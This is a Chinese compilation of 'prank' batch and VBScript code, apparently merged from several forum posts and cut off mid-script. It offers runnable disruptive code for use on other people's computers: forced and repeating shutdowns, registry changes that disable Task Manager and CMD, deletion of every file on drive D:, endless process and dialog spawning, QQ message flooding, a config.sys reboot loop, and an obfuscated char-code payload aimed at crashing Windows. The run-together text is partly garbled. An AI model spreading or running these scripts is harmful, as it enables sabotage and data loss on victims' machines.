VBS整蛊代码

5464644556456这是从一些高手那里学来的招数，呵呵，真是好方法。具体步骤是，打开记事本，在里面输入如下内容：　@echo正在轰炸中……:start@netsend%1%2@iferrorlevel1gotoovergotostart:over@echo发送失败:(将其保存为任意名字的.bat文件即可。使用用法是：任意名字的.bat+空格+目标IP地址+空格+你要对他说的话。　NO.2戏弄非法用户　为防止有人胡乱使用自己的电脑，我们可以利用批处理文件来戏弄一下非法用户。方法是用记事本程序在Windows目录中建立一个Winstart.bat文件，并在该文件中加入以下命令：　@echooffechonon-systemdiskordiskerrorchoice/c:&&/n　上面代码中的"&&"为我们设置的密码，您可以自行设置。这样重新启动计算机开机时就会显示"non-systemdiskordiskerror"，接着光标一闪一闪的好像死机了一样，造成非法用户以为Windows死机的假象。有时就连高手也会上当受骗！当我们要进入系统时，只要输入"&&"即可。　NO.3我的电脑你别用　如果你不想让别人使用你的电脑，又不好意思说，那该怎么办呢？在CMOS中设密码，太小气了吧？他如果问你密码，你好意思不说吗？其实，我们可以用下面这个办法来欺骗一下他的眼睛，使他人以为电脑坏了。　                方法是：进入MS-DOS方式或CMD窗口下，输入：copyconnull.sys，按一下回车键，然后什么也别输入，再按一次回车键，按Ctrl+Z或按F6键，屏幕上会显示^z，按一下回车键，屏幕上会显示"1file(s)copied"，这样就一个名为null.sys的空文件就建好了。现在，找到C盘根目录下的config.sys文件，注意这个文件是隐藏属性，所以必须进入"我的电脑"中，点击"查看(v)"→"文件夹选项"→"查看"→"显示所有文件"才能看到它，然后右键单击该文件，在弹出菜单中选择"用记事本打开"，接下来在config.sys文件中加入：device=c:\null.sys/d:null这样一行，保存修改结果，退出记事本。以后，你的电脑就会在出现Windows的启动画面时自动重新启动，如此反复下去，别人一定以为你的电脑出问题了，而你就可以偷偷乐了.                                                                                                                                                                                                              100%强制关闭对方QQ，整人就这样                                                                                                  100%强制关闭对方QQ。2010年1月9日测试可用。要整人，就要整的狠一点！如何呢？要是在他/她聊QQ聊得正欢的时候，关闭她/他的QQ，是不是整的很过瘾呢？下面这个方法，保证让你“遥控”她/他的QQ下线：首先大家用手机下个07版的qq，登陆你的QQ，锁定目标QQ（前提是他QQ必须在线哦）后，马上用换用电脑上登录你的QQ，然后手机那个关了（为了防止自动刷新断线），然后随便在电脑上截张图（一定要是截图，不能使与啊不由得图片）发给他，好戏开始了，当对方打开，嘿嘿，他的QQ就马上被自动关了，他就不得不重新输入号码重上了！为什么会这样呢？据我猜测，可能是TX服务器不能及时同步你的QQ信息，、而手机是无法发送截图的，而导致在接收图片的过程中产生错误，==============================这样就只有把对方的QQ给强制关了QQ最新整人技巧—快速让对方卡掉甚至死机今天娤ｂí送上我最近发明的整人技术哈，也许是早过时了，过时就过时吧，请高手滑过。现在把这个技术传给大家，大家疯狂去整人吧。（忽忽，开个玩笑，此游戏仅供娱乐，不要上瘾噢！）一.我们点开一个好友。所用到的魔法表情名字叫  倾盆大雨。我们一直发，多发几次就好了。这样对方整个电脑都是下雨，完全看不见东西。多发几个就可以连续卡对方很久。[attach]27077[/attach]当我们发时，先把本地勾去掉，这样你发时，你这里也不会播放，不然你也会卡。如何应对呢，首先点开QQ个人设置。找到系统设置。然后设置以下。照我的设置就好了。屏蔽窗口抖动勾上，免的别人抖你，会卡你。我们把自动播放魔法表情不要打勾，别人发给你，你这里就不会播放了。[attach]27078[/attach]如果还想卡对方，就弹视频，这样魔法，视频，抖动一起来，再外加一个发送QQ默认的表情，复制一大串，向对方发送，这样不卡都不行了，除非他是超级电脑。如何应对别人弹视频呢，就是使用彩虹QQ的设置下就好了。[attach]27079[/attach]【vbs整人代码《网上收集的》】###################vbs整人代码1###################msgbox"要求："&vbcrlf&"1、要同时涉及3大门派"&vbcrlf&"2、要包含江湖门派间多年怨情仇又要打破世俗伦理"&vbcrlf&"3、同时情节还要扣人心悬大有血雨腥呼之欲来令人极为期待该小说之续集同时留下N多悬念"&vbcrlf&"4、越短越好"&vbcrlf&""&vbcrlf&"第N天有人来投稿全文只有九个字:"&vbcrlf&""&vbcrlf&"...........",0,"武侠小说征文"msgbox"秃驴敢跟贫道抢师太",64,"投稿"setws=createobject("wscript.shell")subsleep(s)wscript.sleeps*1000endsubsleep900ws.popup"windows检测到有重要更新未安装"&vbcrlf&""&vbcrlf&"系统将在30秒后自动 下载 课程表模板下载资产负债表下载英语单词下载学习机资料下载励志文章下载 更新并安装",30,"WindowsXp",64sleep10ws.popup"正在下载更新......"&vbcrlf&""&vbcrlf&"稍候将提示您安装",10,"WindowsXp",64sleep900ws.popup"windows已将一病毒载入计算机中"&vbcrlf&""&vbcrlf&"稍后即将运行",15,"病毒",64sleep3ws.run"taskkill/f/imqq.exe",vbhide:sleep5ws.regwrite"HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000001","REG_DWORD"wscript.sleep500ws.run"taskkill/f/imexplorer.exe",vbhide:wscript.sleep2000ws.run"explorer.exe",vbhide:wscript.sleep6000ws.run"notepad",3:wscript.sleep2000ws.sendkeys"^":wscript.sleep1000verybat=split("gongxi,ni,~,ni,yijing,bei,wo,kongzhi,le,~,ruguo,ni,zai,30miaozhong,nei,guanji,~,name,keneng,hai,youjiu,~,fouze,hahahaha____youxi,kaishila,~,haole,wo,xianzai,yao,chuqu,yixia,~,yihui,wo,zailai,zhaoni,haizi,",",")foreachwindinverybatws.sendkeyswindwscript.sleep500next###################vbs整人代码2###################setierunner=createobject("wscript.shell")ierunner.run"cmd/cstartiexplore自己的网站站wscript.sleep8000ierunner.sendkeys"%{F4}"onerrorresumenextdimWSHshellAsetWSHshellA=wscript.createobject("wscript.shell")WSHshellA.run"cmd.exe/cshutdown-r-t3000-c""快说你爱我···""",0,truedimadowhile(a<>"我爱你")a=inputbox("说你爱我,就不关机，快点，说""我爱你""","说不说","不说",8000,7000)msgboxchr(13)+chr(13)+chr(13)+a,0,"MsgBox"loopmsgboxchr(13)+chr(13)+chr(13)+"早说就行了嘛"dimWSHshellsetWSHshell=wscript.createobject("wscript.shell")WSHshell.run"cmd.exe/cshutdown-a",0,truemsgboxchr(13)+chr(13)+chr(13)+"哈哈哈哈，真过瘾"###################vbs整人代码3###################sets=createobject("wscript.shell")setbag=getobject("winmgmts:\\.\root\cimv2")setpipe=bag.execquery("select*fromwin32_processwherename='wscript.exe'")ForEachidinpipeifinstr(1,id.CommandLine,wscript.scriptfullname)<>0andpipe.count>=2thens.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"id.terminate()elses.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"fori=1to60s.popup"系统将在"&60-i&"秒后关机...",1,"系统提示",4096+48nextSetcolOS=GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select*FROMWin32_OperatingSystem")ForEacheOsIncolOSeOs.Win32Shutdown(2)NextendifNext一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).xx.vbs=>=---------------------------------------------------------------------------OnErrorResumeNextDimwsh,yesetwsh=createobject("wscript.shell")fori=1to10wscript.sleep700wsh.AppActivate("与xx聊天中")wsh.sendKeys"^v"wsh.sendKeysiwsh.sendKeys"%s"nextwscript.quit----------------------------------------------------------------------------QQ骚扰信息,也可以用在其它程序上。二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈------------------------------------------------------------------------------do   msgbox"Youarefoolish!"loop------------------------------------------------------------------------------三、打开无数个计算器，直到死机------------------------------------------------------------------------------setwsh=createobject("wscript.shell")dowsh.run"calc"loop-----------------------------------------------------------------------------四、直接关机-----------------------------------------------------------------------------dimWSHshellsetWSHshell=wscript.createobject("wscript.shell")WSHshell.run"shutdown-f-s-t00",0,true-----------------------------------------------------------------------------五、删除D:\所有文件---------------------------------------------------------------------------dimWSHshellsetWSHshell=wscript.createobject("wscript.shell")WSHshell.run"cmd/c""deld:\*.*/f/q/s""",0,true----------------------------------------------------------------------------六、不断弹出窗口----------------------------------------------------------------------------while(1)msgbox"哈哈你被耍了！"loop----------------------------------------------------------------------------七、不断按下alt+f4（开什么都关闭……）---------------------------------------------------------------------------dimWSHshellsetWSHshell=wscript.createobject("wscript.shell")while(1)WSHshell.SendKeys"%{F4}"loop---------------------------------------------------------------------------八、按500次回车(以上代码在运行者的电脑上显示500个对话框。其中dountils=500，500可以随意更改)-----------------------------------------------------------------------------dimsdountils=500s=s+1msgbox"哥们，给我按500次回车吧",64loop'------------------------------------------------------------------------------------九、关不掉的窗口------------------------------------------------------------------------------------WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)WScript.Echo("你是可爱的小朋吗?")WScript.Echo("哈,我想你拉，这你都不知道吗？")WScript.Echo("怎么才来，说~是不是不关心我")WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")WScript.Echo("小强很生气，后果很严重哦。")WScript.Echo("嘿嘿！你也会很惨滴哦")WScript.Echo("是不是想清除我？")WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")WScript.Echo("还剩49下，快点点哦")WScript.Echo("还剩48下，快点，小笨蛋！")WScript.Echo("还剩47下对，就这样快点点！")WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。")WScript.Echo("还剩45下，记得要快哦！")WScript.Echo("还剩43下")WScript.Echo("还剩42下")WScript.Echo("还剩41下")WScript.Echo("还剩40下")WScript.Echo("还剩39下")WScript.Echo("还剩38下")WScript.Echo("还剩37下")WScript.Echo("还剩36下")WScript.Echo("还剩35下")WScript.Echo("还剩34下")WScript.Echo("还剩33下")WScript.Echo("还剩32下")WScript.Echo("还剩30下")WScript.Echo("还剩29下")WScript.Echo("还剩28下")WScript.Echo("还剩27下")WScript.Echo("还剩26下")WScript.Echo("还剩25下")WScript.Echo("还剩24下")WScript.Echo("还剩23下")WScript.Echo("还剩22下")WScript.Echo("还剩21下")WScript.Echo("还剩20下")WScript.Echo("还剩19下")WScript.Echo("还剩18下")WScript.Echo("还剩17下")WScript.Echo("还剩16下")WScript.Echo("还剩15下")WScript.Echo("还剩14下")WScript.Echo("还剩13下停停！！！慢点，我有话要说")WScript.Echo("还剩12下，你继续点我就会消失滴")WScript.Echo("还剩11下，以后就看不到我拉。555555")WScript.Echo("还剩10下，你现在可以选择停止！")WScript.Echo("还剩9下。你还点啊，不要我拉？")WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")WScript.Echo("还剩7下。疯了，你有点负意！")WScript.Echo("还剩6下。对。你就点吧，我恨你！")WScript.Echo("还剩5下，不明白，删除我你就好吗？")WScript.Echo("还剩4下！真要删除我？")WScript.Echo("还剩3下。可是我真的很眷恋你。。。")WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你的！")WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无义！！！")WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")两个整人vbs代码：测试环境：Windows2003系统大家好我是VanlisaQQ137841986今天给大家带来两个整人的VBS脚本希望大家喜欢VBS脚本大家都知道吧第一个是定时关机的如果把他发给你的QQ好友他不懂的话如果不输我是猪电脑就会在你设定的时间内关机我设置的是3分钟只要输入就解除了当然如果不输的话也有解除的办法我们来看下这个脚本--------------------------------------------------------------------------------onerrorresumenextdimWSHshellAsetWSHshellA=wscript.createobject("wscript.shell")WSHshellA.run"cmd.exe/cshutdown-r-t180-c""说我是猪，不说我是猪就一分钟关机，不信，试下···""",0,truedimadowhile(a<>"我是猪")a=inputbox("说我是猪,就不关机，快撒，说""我是猪""　","说不说","",8000,7000)msgboxchr(13)+chr(13)+chr(13)+a,0,"MsgBox"loopmsgboxchr(13)+chr(13)+chr(13)+"早说就行了嘛"dimWSHshellsetWSHshell=wscript.createobject("wscript.shell")WSHshell.run"cmd.exe/cshutdown-a",0,truemsgboxchr(13)+chr(13)+chr(13)+"哈哈哈哈，好乖"--------------------------------------------------------------------------------新建一个记事本把上面的代码复制进去另存为VBE格式的就可以了cmd.exe/cshutdown-r-t180-c这里的数字可以修改关机时间180秒这些文字也可以自设这个脚本启用cmd里的关机程序如果不输的的话可以打开任务管理器输入shutdown-a来解除我们试下这时定时关机已经没了但是还有个关不掉的窗口我们打开任务管理器结束掉Wscript.exe这个进程就OK了这时就完全解除这个脚本了Wscript时Windows脚本宿主-------------------------------------------------------------------------------------------下面看第二个整人的脚本-------------------------------------------------------------------------------------------setws=createobject("wscript.shell")callshutdown(1)dowhilea<>"我是猪"a=inputbox("快在下面的框框里输入我是猪,否则后果自负，快输""我是猪""","输不输","")loopcallshutdown(2)msgbox"早说就行了嘛",4096+64msgbox"再输一遍我是猪!",4096+64msgbox"我是猪!",4096+64MsgBox"最后一次!",4096+64MsgBox"如果你很快的点过去,不看的话",4096+64MsgBox"我就要你踩我空间的!哼!",4096+64MsgBox"从前有座山!",4096+64MsgBox"山里有个庙.",4096+64MsgBox"庙里有个老和尚在讲故事.",4096+64ws.run"iexplore.exe自己的网站msgbox"哎呀累了！数绵羊哄我睡觉",4096+64fori=1to100MsgBoxi&"只绵羊",4096+64nextmsgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64msgbox"最后问个问题，我是不是大好人！",4096+64ifinputbox("是不是","请选择","是")<>"是"thencallshutdown(1)endifsubshutdown(s)selectcasescase1ws.run"cmd.exe/cshutdown-r-t60-c",0case2ws.run"cmd.exe/cshutdown-a",0endselectendsub--------------------------------------------------------------------------------ws.run"iexplore.exe自己的网站这段代码可以改成你自己设定的地址如果别人不输我是猪的话就会一直点下去点到你设定的数字fori=1to100从1到100可以改成20其他的数字解除这个VBS脚本的办法就简单了只是关掉任务管理器里Wscript.exe这个进程就好了QQ2009整人代码：sets=createobject("wscript.shell")setbag=getobject("winmgmts:\\.\root\cimv2")setpipe=bag.execquery("select*fromwin32_processwherename='wscript.exe'")ForEachidinpipeifinstr(1,id.commandLine,wscript.scriptfullname)<>0andpipe.count>=2thens.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"id.terminate()elses.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"fori=1to60s.popup"系统将在"&60-i&"秒后关机...",1,"系统提示",4096+48nextSetcolOS=GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select*FROMWin32_OperatingSystem")ForEacheOsIncolOSeOs.Win32Shutdown(2)NextendifNext复制以上代码，在桌面建一个文本，把代码放进去，另存为VBE格式，此代码的威力：1：开机就强制自动关机2：cmd命令打不开3：结束任务不管用4：F8安全模式也不管用呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、代码破解方法：就是再运行一次，就可以破解了，也就是第2次保存的那个VBE文件，，PS：不要乱拿软件去整人，发生什么事可不要怪我啊。。拍拍手顶起吧!2：onerrorresumenextdimWSHshellAsetWSHshellA=wscript.createobject("wscript.shell")WSHshellA.run"cmd.exe/cshutdown-r-t60-c""说你是傻B，我是天下第一大傻B不说宝宝，我是天下第一大傻B就一分钟关你机，不信，试试···""",0,truedimadowhile(a<>"宝宝，我是天下第一大傻B")a=inputbox("宝宝，我是天下第一大傻B,就不关机，快撒，说""宝宝，我是天下第一大傻B""　","说不说","不说",8000,7000)msgboxchr(13)+chr(13)+chr(13)+a,0,"MsgBox"loopmsgboxchr(13)+chr(13)+chr(13)+"早说就行了嘛，乖乖"dimWSHshellsetWSHshell=wscript.createobject("wscript.shell")WSHshell.run"cmd.exe/cshutdown-a",0,truemsgboxchr(13)+chr(13)+chr(13)+"宝宝是不是又帅啦？？"这代码是我从朋友那拿来的，大家可以试着玩下、你能做非法事情哦、网页整人效果代码：想看效果，只要复制这下面的所有代码保存在text文件里，修改文件后缀为txt就能看到效果了。<html><head><metahttp-equiv="Content-Type"content="text/html;charset=gb2312"><title>网页特效|Linkweb.cn/Js|---很恶心的常见整人效果</title></head><body><ahref=""onMouseover="alert('为什么把鼠标放到这里?');alert('我不是说过不可以这样吗？');alert('你把我的话当什么了？');alert('你知道错了吗？');alert('什么？你居然....');alert('居然还没意识到自己做错了？');alert('那好，你要为此付出代价!');alert('我要你在这里点足一千下......');alert('什么？你开始有点后悔了？');alert('何必呢？');alert('你当初干什么去了？');alert('不原谅你！');alert('好从现在开始再点995下......');alert('你的手开始累了吗?');alert('什么？你已经没力气了？');alert('你一直在求我原谅你啊！');alert('看来你是真的知道错了!');alert('下次你还会这么做吗？');alert('真的不会了？');alert('那好，今天就放你一马！');alert('写封信给我说声对不起!');alert('你能这么做我很高兴!!!');document.bgColor='black';document.fgColor='White';window.location.href='mailto:mygod@god?subject=对不起,下次不敢了!';">不许把鼠标移到这里</a>嘻试吧爽噢。。</body></html>vbs整人代码：代码如下：PrivateSubForm_Load()Me.HideEndSubPrivateSubTimer1_Timer()'声明变量，其中“count”为静态变量，以便生成不同的文件DimfilesAsStringDimnrAsStringDimcAsStringStaticcountAsLong'定义要把生成的文件存放在那个目录文件下c="C:\ProgramFiles\"'生成文件的内容nr="哈哈，被黑的感觉的不错吧"files=FreeFile'如果a等于a那么就执行Ifa=aThen'count不断的加1，以便产生不同的文件名count=count+1'产生文件名及文件句柄，并用count作为产生不同的文件名。Openc&"system"&count&".dll"ForAppendAs#files'向文件写内容Write#files,nr'清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示Close#filesEndIfEndSubvbs整人代码发现新手对整人代码很感兴趣现在发一下N多个每楼发两个复制到记事本，后缀改为.vbs一ifMsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancelthenmsgbox"系统将立刻重起wow~_^",,"你上当了！！"SetobjShell=CreateObject("Wscript.Shell")objShell.Run"shutdown-s-t5",,trueendif二'这个很强悍的vbs,蓝屏strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32,34,-15133,89,-13899,-20026,-20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,103,111,110,46,101,120,101,32,49,62